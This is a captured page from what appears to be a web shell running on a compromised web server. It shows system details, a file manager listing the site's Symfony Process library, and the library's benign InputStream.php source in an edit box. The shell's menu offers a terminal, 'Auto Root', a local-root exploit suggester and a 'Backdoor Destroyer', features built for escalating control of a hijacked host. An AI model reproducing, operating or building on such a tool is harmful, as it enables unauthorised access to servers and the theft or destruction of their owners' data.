Linux vmi2545633.contaboserver.net 6.1.0-32-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.129-1 (2025-03-06) x86_64
Apache/2.4.62 (Debian)
Server IP : 127.0.0.1 & Your IP : 127.0.0.1
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
softmedya.net /
vendor /
symfony /
process /
Delete
Unzip
Name
Size
Permission
Date
Action
Exception
[ DIR ]
drwxr-xr-x
2025-09-11 10:12
Messenger
[ DIR ]
drwxr-xr-x
2025-09-11 10:12
Pipes
[ DIR ]
drwxr-xr-x
2025-09-11 10:12
CHANGELOG.md
4.34
KB
-rw-r--r--
2025-09-11 10:12
ExecutableFinder.php
3.48
KB
-rw-r--r--
2025-09-11 10:12
InputStream.php
2.33
KB
-rw-r--r--
2025-09-11 10:12
LICENSE
1.04
KB
-rw-r--r--
2025-09-11 10:12
PhpExecutableFinder.php
2.42
KB
-rw-r--r--
2025-09-11 10:12
PhpProcess.php
2.36
KB
-rw-r--r--
2025-09-11 10:12
PhpSubprocess.php
5.92
KB
-rw-r--r--
2025-09-11 10:12
Process.php
53.55
KB
-rw-r--r--
2025-09-11 10:12
ProcessUtils.php
1.71
KB
-rw-r--r--
2025-09-11 10:12
README.md
472
B
-rw-r--r--
2025-09-11 10:12
composer.json
671
B
-rw-r--r--
2025-09-11 10:12
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process; use Symfony\Component\Process\Exception\RuntimeException; /** * Provides a way to continuously write to the input of a Process until the InputStream is closed. * * @author Nicolas Grekas <p@tchwork.com> * * @implements \IteratorAggregate<int, string> */ class InputStream implements \IteratorAggregate { private ?\Closure $onEmpty = null; private array $input = []; private bool $open = true; /** * Sets a callback that is called when the write buffer becomes empty. */ public function onEmpty(?callable $onEmpty = null): void { $this->onEmpty = null !== $onEmpty ? $onEmpty(...) : null; } /** * Appends an input to the write buffer. * * @param resource|string|int|float|bool|\Traversable|null $input The input to append as scalar, * stream resource or \Traversable */ public function write(mixed $input): void { if (null === $input) { return; } if ($this->isClosed()) { throw new RuntimeException(\sprintf('"%s" is closed.', static::class)); } $this->input[] = ProcessUtils::validateInput(__METHOD__, $input); } /** * Closes the write buffer. */ public function close(): void { $this->open = false; } /** * Tells whether the write buffer is closed or not. */ public function isClosed(): bool { return !$this->open; } public function getIterator(): \Traversable { $this->open = true; while ($this->open || $this->input) { if (!$this->input) { yield ''; continue; } $current = array_shift($this->input); if ($current instanceof \Iterator) { yield from $current; } else { yield $current; } if (!$this->input && $this->open && null !== $onEmpty = $this->onEmpty) { $this->write($onEmpty($this)); } } } }